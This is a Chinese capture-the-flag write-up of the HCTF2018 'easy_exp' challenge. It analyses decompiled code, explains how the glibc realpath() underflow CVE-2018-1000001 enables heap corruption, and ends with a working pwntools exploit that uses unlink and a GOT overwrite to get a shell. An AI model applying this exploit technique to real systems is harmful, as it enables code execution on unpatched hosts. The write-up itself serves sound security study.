HCTF2018-easy_exp

easy_exp

前些天参加了HCTF2018的线上赛,一如既往的被大佬们吊打。赛后结合大佬的讲解发现这道题就是unlink结合了一个cve漏洞,正巧最近刚学习了有关Unlink的技巧,于是把这道题研究复现了一下。

首先题目给了两个文件,easyexp和libc-2.23.so。

运行程序,看到是一个仿真的环境,给了ls,mkdir,mkfile,cat命令。

  • img

查看一下程序的保护:

1542529636810.png

发现开启了NX和Canary。

程序逻辑分析

用ida静态分析一波代码:

init:

  v18 = *MK_FP(__FS__, 40LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  v0 = malloc(0x100000uLL);
  dword_6032C0 = clone((int (*)(void *))fn, (char *)v0 + 0x100000, 268566545, 0LL);
  if ( dword_6032C0 == -1 )
  {
    puts("error!");
    exit(-1);
  }
unsigned int __fastcall fn(void *arg)
{
  while ( geteuid() )
    sched_yield();
  if ( mount("tmpfs", "/tmp", "tmpfs", 0xC0ED0000uLL, 0LL) )
    exit(-1);
  if ( chdir("/tmp") )
    exit(-1);
  return sleep(0xF4240u);
}

这里clone了一个子进程,子进程执行的fn用mount挂载了临时文件系统到/tmp,然后用chdir更改到对应目录下。

  snprintf(&s, 0x1000uLL, "/proc/%d/cwd", (unsigned int)dword_6032C0);
  root_path = strdup(&s);
  sprintf(&file, "/proc/%d/setgroups", (unsigned int)dword_6032C0);
  fd = open(&file, 1);
  v2 = write(fd, "deny", 4uLL);
  close(fd);
  sprintf(&file, "/proc/%d/uid_map", (unsigned int)dword_6032C0);
  v3 = open(&file, 1);
  v4 = getuid();
  sprintf(&buf, "0 %d 1\n", v4);
  v5 = strlen(&buf);
  v6 = write(v3, &buf, v5);
  close(v3);
  sprintf(&file, "/proc/%d/gid_map", (unsigned int)dword_6032C0);
  v7 = open(&file, 1);
  v8 = getgid();
  sprintf(&buf, "0 %d 1\n", v8);
  v9 = strlen(&buf);
  v10 = write(v7, &buf, v9);
  close(v7);
  sleep(1u);
  puts("tmpfs ready!");
  if ( chdir(root_path) )
    exit(-1);
  printf("input your home's name: ", &buf);
  sub_401036((__int64)src, 0x10u);
  if ( strchr(src, 47) || strchr(src, 46) )
  {
    puts("you can't use that name,use default name [home]");
    *(_DWORD *)src = 1701670760;
    byte_6032B4 = 0;
    mkdir("home", 0x1EDu);
  }
  else if ( mkdir(src, 0x1EDu) )
  {
    mkdir("home", 0x1EDu);
  }
  strcpy(dest, src);
  dest[strlen(dest)] = 47;
  v11 = &dest[strlen(dest)];
  *(_DWORD *)v11 = 1734437990;
  v11[4] = 0;
  v12 = open(dest, 131521, 420LL);
  write(v12, "flag{This_is_Fake}", 0x13uLL);
  close(v12);

接下来修改了程序的一些/proc/$PID/信息,和cve漏洞有关。

接着要我们输入一个home名,要求不包含'.'和'/',否则就使用默认名home。并创建对应目录。

再在home下写入一个flag文件,里面内容是"flag{This_is_Fake}",并没有什么用处。

接下来看一下ls,mkdir,mkfile,cat几个命令的实现。

ls:

__int64 __fastcall fuc_ls(char *a1)
{
  const char *name; // [sp+8h] [bp-28h]@1
  DIR *dirp; // [sp+10h] [bp-20h]@3
  struct dirent *v4; // [sp+18h] [bp-18h]@6
  __int16 v5; // [sp+20h] [bp-10h]@2
  __int64 v6; // [sp+28h] [bp-8h]@1

  name = a1;
  v6 = *MK_FP(__FS__, 40LL);
  if ( !a1 )
  {
    v5 = 46;
    name = (const char *)&v5;
  }
  dirp = opendir(name);
  if ( !dirp )
    exit(2);
  while ( 1 )
  {
    v4 = readdir(dirp);
    if ( !v4 )
      break;
    printf("%s  ", v4->d_name);
  }
  closedir(dirp);
  putchar(10);
  return *MK_FP(__FS__, 40LL) ^ v6;
}

发现这里就是打开目录并读取,且没有什么限制,因此这里可以绕过tmpfs的沙盒,实现任意浏览目录。

1542529636810.png

mkdir:

__int64 __fastcall sub_4015BD(const char *a1)
{
  __int64 v2; // [sp+0h] [bp-1040h]@0
  int i; // [sp+1Ch] [bp-1024h]@1
  _BYTE v4[12]; // [sp+1Ch] [bp-1024h]@2
  char *ptr; // [sp+28h] [bp-1018h]@7
  char path; // [sp+30h] [bp-1010h]@5
  __int64 v7; // [sp+1038h] [bp-8h]@1

  v7 = *MK_FP(__FS__, 40LL);
  for ( i = 0; ; i = *(_DWORD *)v4 + 1 )
  {
    *(_QWORD *)&v4[4] = strchr(&a1[i], 47);
    if ( *(_QWORD *)&v4[4] )
      *(_DWORD *)v4 = *(_DWORD *)&v4[4] - (_DWORD)a1;
    else
      *(_QWORD *)v4 = (unsigned int)strlen(a1);
    snprintf(&path, 0x1000uLL, "%s/%.*s", root_path, *(unsigned int *)v4, a1, v2);
    mkdir(&path, 0x1EDu);
    if ( !a1[*(signed int *)v4] )
      break;
  }
  ptr = canonicalize_file_name(a1);
  if ( !ptr )
  {
    puts("mkdir:create failed.");
    exit(-1);
  }
  free(ptr);
  return *MK_FP(__FS__, 40LL) ^ v7;
}

这里的实现是,首先检查文件名里的'/',找到后通过循环调用mkdir创建文件夹。之后调用canonicalize_file_name执行一个检查,检查不通过直接结束程序。

1542529999222.png

尝试后发现,即便创建一个正常目录都无法通过这个检查。

mkfile:

__int64 __fastcall fuc_mkfile(const char *a1)
{
  FILE *s; // ST18_8@12
  int v2; // ebx@16
  int v3; // ebx@16
  signed int i; // [sp+10h] [bp-1030h]@6
  int fd; // [sp+14h] [bp-102Ch]@13
  char buf; // [sp+20h] [bp-1020h]@16
  __int64 v8; // [sp+1028h] [bp-18h]@1

  v8 = *MK_FP(__FS__, 40LL);
  if ( a1 )
  {
    if ( strstr(a1, "..") || *a1 == 47 )
    {
      puts("you can't go out of tmpfs");
    }
    else
    {
      for ( i = 0; i <= 2; ++i )
      {
        if ( !strcmp(a1, (const char *)(96LL * i + 0x60318C)) )
        {
          printf("write something:");
          sub_401036((__int64)content[12 * i], (unsigned int)content[12 * i + 1]);
          file_num = (i + 1) % 3;
          return *MK_FP(__FS__, 40LL) ^ v8;
        }
      }
      if ( content[12 * file_num] )
      {
        s = fopen((const char *)(96LL * file_num + 0x60318C), "w");
        fwrite(content[12 * file_num], 1uLL, LODWORD(content[12 * file_num + 1]), s);
        fclose(s);
        free((void *)content[12 * file_num]);
      }
      strcpy((char *)(96LL * file_num + 0x60318C), a1);
      fd = open(a1, 131521, 420LL);
      if ( fd < 0 )
      {
        puts("mkfile:create failed.");
        exit(-1);
      }
      printf("write something:");
      sub_401036((__int64)&buf, 0x1000u);
      write(fd, &buf, 0x1000uLL);
      v2 = file_num;
      content[12 * v2] = strdup(&buf);
      v3 = file_num;
      LODWORD(content[12 * v3 + 1]) = strlen(&buf);
      close(fd);
      file_num = (file_num + 1) % 3;
    }
  }
  else
  {
    puts("Usage:mkfile [path]");
  }
  return *MK_FP(__FS__, 40LL) ^ v8;
}

mkfile的实现是先检查一下名称里有没有'..'和'/',检测到就会提示你别想越过沙箱。

然后生成一个结构体,大致的结构是:

struct file
{
    char* content;
    int size;
    char[0x54] name;
}

先是一个内容指针,后面是content的size和文件名。

1542530279155.png

程序会在bss段存储最多3个这样的结构体,每次mkfile操作,会先检查一遍文件名,如果和bss段的某个文件名对应,就直接修改对应的content,不对应就会创建新的结构体。如果已经有了三个结构体,就会根据当前指针把对应的内容写进文件,然后free掉原本的content指针,并在该位置创建新的结构体。

cat

__int64 __fastcall fuc_cat(const char *a1)
{
  signed int i; // [sp+14h] [bp-11Ch]@6
  FILE *stream; // [sp+18h] [bp-118h]@11
  char ptr; // [sp+20h] [bp-110h]@11
  __int64 v5; // [sp+128h] [bp-8h]@1

  v5 = *MK_FP(__FS__, 40LL);
  if ( a1 )
  {
    if ( strstr(a1, "..") || *a1 == 47 )
    {
      puts("you can't go out of tmpfs");
    }
    else
    {
      for ( i = 0; i <= 2; ++i )
      {
        if ( !strcmp(a1, (const char *)(96LL * i + 0x60318C)) )
        {
          puts((const char *)content[12 * i]);
          file_num = (i + 1) % 3;
          return *MK_FP(__FS__, 40LL) ^ v5;
        }
      }
      memset(&ptr, 0, 0x100uLL);
      stream = fopen(a1, "r");
      if ( stream )
      {
        fread(&ptr, 0x100uLL, 1uLL, stream);
        puts(&ptr);
        fclose(stream);
      }
      else
      {
        puts("No such file!");
      }
    }
  }
  else
  {
    puts("Usage:cat [path]");
  }
  return *MK_FP(__FS__, 40LL) ^ v5;
}

cat这里也进行了'..'和'/'检查,也就没法直接绕过沙箱。

后面会先去bss段找三个结构体匹配文件名,找到后直接Puts对应的content,没找到就尝试用fopen来读取文件。

利用思路

程序本身并没有找到什么漏洞。

回头看题目的hint:plz pay attention to libc version and try to load the libc which we given

提示说,这题一定要载入对应的libc。

我们查看以下libc版本:

1542535847667.png

发现是2.23-0ubuntu9。

可以在:https://launchpad.net/ubuntu/+source/glibc/2.23-0ubuntu10找到相应的changelog。

* SECURITY UPDATE: Buffer underflow in realpath()
    - debian/patches/any/cvs-make-getcwd-fail-if-path-is-no-absolute.diff:
      Make getcwd(3) fail if it cannot obtain an absolute path
    - CVE-2018-1000001

发现,更新是修补了这个CVE-2018-1000001漏洞。

可以在:https://paper.seebug.org/528/里找到漏洞的详细说明。

大体就是引入了(unreachable)这种情况后,函数realpath() 没有考虑到对这种以‘(’开头的不可到达路径的处理,造成了溢出。

而在本题里mkdir中调用的canonicalize_file_name就封装了函数realpath()。

1542536392678.png

在canonicalize_file_name处下断点,单步追踪函数的执行。

1542536859664.png

可以看到在执行过getcwd()后,得到的结果是(unreachable)/tmp。(原因大概是当前目录不属于当前进程的根目录,和init的那段代码有关)

查看stdlib/canonicalize.c里__realpath的代码:

1542537376170.png

这里name是我们要mkdir的文件夹,dest是通过getcwd获取的(unreachable)/tmp。

可以看到这里在对以"../"开头的name处理时,默认了dest是以"/"开头的,没有考虑到以"("开头的情况,因此第一个"../"使dest一直自减,退回到“(unreachable)/”,而由于dest前面再没有"/",所以第二个“../”就会造成dest自减越界,直到匹配到下一个"/"。

1542538071913.png

后面这里会执行__mempcpy把创建的文件夹名字(去掉"../"后的)复制到dest,因此我们可以利用这一点来造成内存改写。

而后面的__lxstat64检查就是我们无法正常mkdir的原因。这个函数会根据提供的参数去获取文件的信息,假如说文件不存在的话,会返回-1,跳到error

单步执行程序,可以发现,在程序因mkdir结束前,确实是执行的这个函数:

1542540060647.png

我这里执行的命令是"mkdir test"。

这个参数来自于:

  new_rpath = (char *) realloc (rpath, new_size);

由于程序执行了:

  if (dest[-1] != '/')
        *dest++ = '/';
  ......
  dest = __mempcpy (dest, start, end - start);

所以这个参数的结果是:

"(unreachable)/tmp"+"/"+"test"

而假如我们执行“mkdir ../abc”,由于后面"abc"覆盖了"tmp"

结果就会是:

"(unreachable)/abc"

而假如我们执行"mkdir ../../abc",通过溢出,"abc"不知道被复制到了哪里。

结果就是:

"(unreachable)/tmp"

所以我们可以创建文件"(unreachable)/abc"或者"(unreachable)/tmp"来通过这个验证。

由于最开始的init在输入home名时,只限制了"."和"/",所以我们可以创建一个文件夹(unreachable)。

1542543871151.png
1542544188724.png

或者:

1542544153178.png

OK,现在我们已经可以利用这个溢出来改写了。

我们可以申请chunk,来构造这样一个布局:

aaa/|sizeA
aaaa|sizeB
aaaC|sizeC

利用漏洞把sizeA变大,然后重新申请这个chunk进而控制sizeB的chunk。

然后就是常规的unlink了。

1.先把content指针指向got表的free。
2.利用cat功能获得free的地址,计算出libc地址和system地址。
3.mkfile写入"/bin/sh"
4.修改free的got表指向system
5.调用free("/bin/sh")

ps:1.注意控制执行free时的文件指针指向。2.mkfile新文件时,使用了strdup,先要用'a'填充空间。

最后的脚本:

from pwn import *

p=process('./easyexp',env={'LD_PRELOAD':'./libc-2.23.so'})
libc=ELF('./libc-2.23.so')
easyexp=ELF('./easyexp')
#gdb.attach(p,"b __lxstat64")
def mkfile(name,content):
    p.recvuntil("$")
    p.sendline("mkfile "+str(name))
    p.recvuntil("write something:")
    p.sendline(content)
def cat(name):
    p.recvuntil("$")
    p.sendline("cat "+name)

p.recvuntil("input your home's name: ")
p.sendline('(unreachable)')

mkfile("(unreachable)/tmp","a"*0x16+"/")
mkfile('2','a'*0x27) 
mkfile('3','a'*0x80)
mkfile('3',p64(0x21)*2) 

p.sendline('mkdir ../../a\x41')
cat('(unreachable)/tmp') #file_ptr 1

mkfile('4','a'*0x37) 
mkfile('4',p64(0)+p64(0x21)+p64(0x6031e0-0x18)+p64(0x6031e0-0x10)+p64(0x20)+p64(0x90))


#file_ptr2
mkfile('5','/bin/sh')

mkfile('4','a'*0x18+p64(easyexp.got['free'])+'99')

cat('4')

free_addr=u64(p.recvuntil('\n')[1:7].ljust(8,'\0'))
libc.address=free_addr-libc.symbols['free']

sys_addr=libc.symbols['system']

print "free_addr:"+hex(free_addr)

print "libc_addr:"+hex(libc.address)

print "system_addr:"+hex(sys_addr)

mkfile('4',p64(sys_addr))
p.sendline('mkfile over')


p.interactive()

参考:

https://paper.seebug.org/528/
https://www.360zhijia.com/anquan/430290.html

你可能感兴趣的:(HCTF2018-easy_exp)